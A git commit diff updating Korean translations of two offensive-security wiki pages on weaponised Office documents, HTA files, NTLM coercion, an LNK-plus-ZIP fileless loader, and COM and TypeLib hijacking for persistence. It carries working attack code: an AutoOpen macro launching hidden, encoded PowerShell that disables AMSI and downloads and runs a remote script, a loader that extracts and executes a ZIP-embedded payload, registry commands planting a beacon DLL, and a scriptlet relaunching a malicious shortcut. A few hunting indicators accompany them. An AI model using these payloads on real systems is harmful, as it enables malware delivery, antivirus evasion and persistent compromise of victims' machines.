Translated ['src/windows-hardening/windows-local-privilege-escalation/co

This commit is contained in:
Translator 2025-08-28 22:47:51 +00:00
parent 8d79418775
commit f10beaca9b
2 changed files with 143 additions and 34 deletions

View File

@ -2,39 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## 오피스 문서
## Office 문서
Microsoft Word는 파일을 열기 전에 파일 데이터 유효성 검사를 수행합니다. 데이터 유효성 검사는 OfficeOpenXML 표준에 대한 데이터 구조 식별 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
Microsoft Word는 파일을 열기 전에 파일 데이터 유효성 검사를 수행합니다. 데이터 유효성 검사는 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
일반적으로 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경하여 파일 이름을 바꾸면 매크로 실행 기능을 유지할 수 있습니다.\
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, RTF로 이름이 변경된 DOCM 파일은 Microsoft Word에 의해 처리되며 매크로 실행이 가능합니다.\
같은 내부 구조와 메커니즘은 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다.
일반적으로 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경해 이름을 바꿔도 매크로 실행 기능을 유지할 수 있습니다.\
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾼 경우 Microsoft Word에서 처리되어 매크로를 실행할 수 있습니다.\
동일한 내부 구조와 메커니즘이 Microsoft Office Suite (Excel, PowerPoint 등)의 모든 소프트웨어에 적용됩니다.
다음 명령을 사용하여 일부 Office 프로그램에서 실행될 확장자를 확인할 수 있습니다:
You can use the following command to check which extensions are going to be executed by some Office programs:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX 파일이 원격 템플릿을 참조하는 경우 (파일 옵션 추가 기능 관리: 템플릿 이동) 매크로를 “실행”할 수 있습니다.
DOCX 파일이 원격 템플릿(File Options Add-ins Manage: Templates Go)을 참조하고, 해당 템플릿에 macros가 포함되어 있으면 문서에서 macros를 “실행”할 수도 있다.
### 외부 이미지 로드
이동: _삽입 --> 빠른 부분 --> 필드_\
_**카테고리**: 링크 및 참조, **필드 이름**: includePicture, 및 **파일 이름 또는 URL**:_ http://\<ip>/whatever
이동: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### 매크로 백도어
### Macros Backdoor
문서에서 임의의 코드를 실행하기 위해 매크로를 사용할 수 있습니다.
문서에서 macros를 사용해 임의의 코드를 실행하는 것이 가능하다.
#### 자동 로드 함수
#### Autoload functions
일반적일수록, AV가 이를 감지할 가능성이 높아집니다.
흔할수록 AV가 탐지할 가능성이 높아진다.
- AutoOpen()
- Document_Open()
#### 매크로 코드 예제
#### Macros 코드 예시
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
```
#### 메타데이터 수동 제거
**파일 > 정보 > 문서 검사 > 문서 검사**로 이동하면 문서 검사기가 열립니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭합니다.
**파일 > 정보 > 문서 검사 > 문서 검사**로 이동하면 문서 검사기가 나타납니다. **검사**를 클릭한 다음 **문서 속성 및 개인 정보** 옆의 **모두 제거**를 클릭하세요.
#### 문서 확장자
완료되면 **다른 이름으로 저장** 드롭다운에서 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경합니다.\
렇게 하는 이유는 **`.docx`** 안에 매크로를 저장할 수 없고, 매크로 사용 가능 **`.docm`** 확장자에 대한 **오명**이 있기 때문입니다 (예: 썸네일 아이콘에 큰 `!`가 있고 일부 웹/이메일 게이트웨이가 이를 완전히 차단합니다). 따라서 이 **구식 `.doc` 확장자가 최선의 타협**입니다.
완료되면 **저장 형식** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
유는 **`.docx`** 안에는 매크로를 저장할 수 없고, 매크로가 활성화된 **`.docm`** 확장자에는 **낙인** **이 존재합니다**(예: 썸네일 아이콘에 큰 `!`가 표시되어 일부 웹/이메일 게이트웨이가 이를 완전히 차단합니다). 따라서 이 **레거시 `.doc` 확장자가 최선의 절충안입니다**.
#### 악성 매크로 생성기
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## HTA 파일
HTA는 **HTML과 스크립팅 언어(예: VBScript 및 JScript)**를 결합한 Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "완전 신뢰할 수 있는" 애플리케이션으로 실행됩니다.
HTA는 **HTML 및 스크립트 언어(예: VBScript 및 JScript)를 결합하는** Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "완전 신뢰" 애플리케이션으로 실행됩니다.
HTA는 **`mshta.exe`**를 사용하여 실행되며, 이는 일반적으로 **Internet Explorer**와 함께 **설치**되어 **`mshta`가 IE에 의존**하게 됩니다. 따라서 IE가 제거되면 HTA는 실행할 수 없습니다.
HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **설치되어** 있는 **Internet Explorer**와 함께 제공되어 **`mshta`가 IE에 의존**하게 됩니다. 따라서 Internet Explorer가 제거된 경우 HTA는 실행할 수 없습니다.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## NTLM 인증 강제
## NTLM 인증 강제
여러 가지 방법으로 **NTLM 인증을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가할 수 있습니다(HTTP MitM도 가능할까요?). 또는 피해자에게 **폴더를 열기만 해도 인증을 트리거하는 파일의 주소**를 보낼 수 있습니다.
여러 방법으로 **NTLM 인증을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가할 수 있습니다(심지어 HTTP MitM?). 또는 피해자에게 **폴더 열기만으로도** **인증을 유발**하는 **파일의 주소**를 보낼 수도 있습니다.
**다음 페이지에서 이러한 아이디어와 더 많은 내용을 확인하세요:**
**다음 페이지들에서 이러한 아이디어들과 더 많은 내용을 확인하세요:**
{{#ref}}
@ -154,11 +154,62 @@ self.close
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
### NTLM 릴레이
### NTLM Relay
해시나 인증을 훔치는 것뿐만 아니라 **NTLM 릴레이 공격을 수행할 수 있다는 점을 잊지 마세요**:
hash 또는 authentication을 훔치는 것뿐만 아니라 **NTLM relay 공격을 수행할 수 있다는 점을 잊지 마세요**:
- [**NTLM 릴레이 공격**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (인증서에 대한 NTLM 릴레이)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
매우 효과적인 캠페인은 두 개의 합법적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 배포합니다. 핵심은 실제 PowerShell 로더가 고유한 마커 뒤 ZIP의 원시 바이트에 저장되어 있고, .lnk가 이를 파싱하여 메모리에서 완전히 실행한다는 점입니다.
.lnk PowerShell one-liner가 구현하는 전형적인 흐름:
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 그리고 현재 작업 디렉터리의 부모 등 일반적인 경로에서 원본 ZIP을 찾는다.
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾는다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드이다.
3) ZIP을 %ProgramData%로 복사하고 그곳에서 압축을 풀며, 합법적으로 보이기 위해 미끼 .docx를 연다.
4) 현재 프로세스에서 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행한다.
임베디드 스테이지를 추출하여 실행하기 위한 PowerShell 예시 골격:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
참고
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- 다음 단계에서는 종종 base64/XOR shellcode를 복호화한 후 디스크 흔적을 최소화하기 위해 Reflection.Emit + VirtualAlloc을 통해 실행합니다.
동일 체인에서 사용되는 Persistence
- Microsoft Web Browser control의 COM TypeLib hijacking으로 IE/Explorer나 이를 임베드한 앱이 페이로드를 자동으로 재실행하도록 합니다. 자세한 내용과 즉시 사용 가능한 명령은 다음에서 확인하세요:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- 아카이브 데이터 끝에 ASCII 마커 문자열(예: xFIQCV)이 추가된 ZIP 파일.
- .lnk가 상위/사용자 폴더를 열거하여 ZIP을 찾고 미끼 문서를 엽니다.
- AMSI 변조 via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- 신뢰된 PaaS 도메인에 호스팅된 링크로 끝나는 장시간 실행 비즈니스 스레드.
## 참고
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
### 존재하지 않는 COM 구성 요소 검색
HKCU의 값은 사용자가 수정할 수 있으므로 **COM Hijacking**은 **지속적인 메커니즘**으로 사용될 수 있습니다. `procmon`을 사용하면 공격자가 지속성을 위해 생성할 수 있는 존재하지 않는 COM 레지스트리를 쉽게 찾을 수 있습니다. 필터:
사용자가 HKCU 값을 수정할 수 있기 때문에 **COM Hijacking**은 **영구적인 지속성 수단**으로 사용될 수 있습니다. `procmon`을 사용하면 공격자가 지속성을 위해 생성할 수 있는, 검색되었지만 존재하지 않는 COM 레지스트리를 쉽게 찾을 수 있습니다. 필터:
- **RegOpenKey** 작업.
- _결과_가 **NAME NOT FOUND**인 경우.
- 그리고 _경로_가 **InprocServer32**로 끝나는 경우.
- _Result_가 **NAME NOT FOUND**인 항목.
- _Path_가 **InprocServer32**로 끝나는 항목.
어떤 존재하지 않는 COM을 가장할지 결정한 후 다음 명령을 실행하십시오. _몇 초마다 로드되는 COM을 가장하기로 결정하면 과도할 수 있으니 주의하십시오._
어떤 존재하지 않는 COM을 사칭할지 결정했으면 다음 명령을 실행하세요. _몇 초마다 로드되는 COM을 사칭하기로 결정하면 과도할 수 있으므로 주의하세요._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
```
### Hijackable Task Scheduler COM components
Windows Tasks는 COM 객체를 호출하기 위해 Custom Triggers를 사용하며, Task Scheduler를 통해 실행되기 때문에 언제 트리거될지 예측하기가 더 쉽습니다.
Windows Tasks는 Custom Triggers를 사용해 COM objects를 호출하며, Task Scheduler를 통해 실행되기 때문에 언제 트리거될지 예측하기가 더 쉽습니다.
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
출력을 확인하면 **사용자가 로그인할 때마다** 실행될 작업을 선택할 수 있습니다.
출력을 확인하면 예를 들어 **사용자가 로그인할 때마다** 실행될 항목을 선택할 수 있습니다.
이제 **HKEY\CLASSES\ROOT\CLSID**와 HKLM 및 HKCU에서 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**를 검색하면, 일반적으로 HKCU에 값이 존재하지 않는 것을 발견할 수 있습니다.
이제 **{1936ED8A-BD93-3213-E325-F38D112938EF}**를 **HKEY\CLASSES\ROOT\CLSID**와 HKLM 및 HKCU에서 검색하면, 일반적으로 해당 값이 HKCU에는 존재하지 않는 것을 알게 됩니다.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
그럼, HKCU 항목을 생성하면 사용자가 로그인할 때마다 당신의 백도어가 실행됩니다.
그런 다음 HKCU entry를 만들기만 하면 사용자가 로그인할 때마다 backdoor가 실행됩니다.
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib)는 COM 인터페이스를 정의하며 `LoadTypeLib()`를 통해 로드됩니다. COM 서버가 인스스화될 때, OS는 `HKCR\TypeLib\{LIBID}` 아래의 레지스트리 키를 참조하여 관련 TypeLib를 로드할 수도 있습니다. TypeLib 경로가 **moniker**로 대체되면(예: `script:C:\...\evil.sct`), TypeLib가 해석될 때 Windows는 해당 scriptlet을 실행합니다 — 일반 구성 요소가 호출될 때 작동하는 은밀한 persistence를 제공합니다.
이 기법은 Microsoft Web Browser control(자주 Internet Explorer, WebBrowser를 임베드한 앱, 심지어 `explorer.exe`에서 로드됨)을 대상으로 관찰되었습니다.
### Steps (PowerShell)
1) 고빈도 CLSID가 사용하는 TypeLib (LIBID)를 식별합니다. 예시로 악성코드 체인에서 자주 남용되는 CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) 사용자별 TypeLib 경로를 `script:` 모니커를 사용해 로컬 scriptlet을 가리키도록 설정 (관리자 권한 불필요):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) 최소한의 JScript `.sct`를 배치해 primary payload(예: initial chain에서 사용된 `.lnk`)를 재실행시킵니다:
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Triggering IE를 열거나 WebBrowser control을 포함한 애플리케이션을 실행하거나 심지어 일반적인 Explorer 동작만으로도 TypeLib가 로드되어 scriptlet이 실행되며, logon/reboot 시 체인이 다시 활성화됩니다.
정리
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
참고
- 동일한 논리를 다른 사용 빈도가 높은 COM 구성 요소에도 적용할 수 있습니다; 항상 먼저 `HKCR\CLSID\{CLSID}\TypeLib`에서 실제 `LIBID`를 확인하세요.
- 64-bit 시스템에서는 64-bit 소비자를 위해 `win64` 하위키를 채울 수도 있습니다.
## 참고자료
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}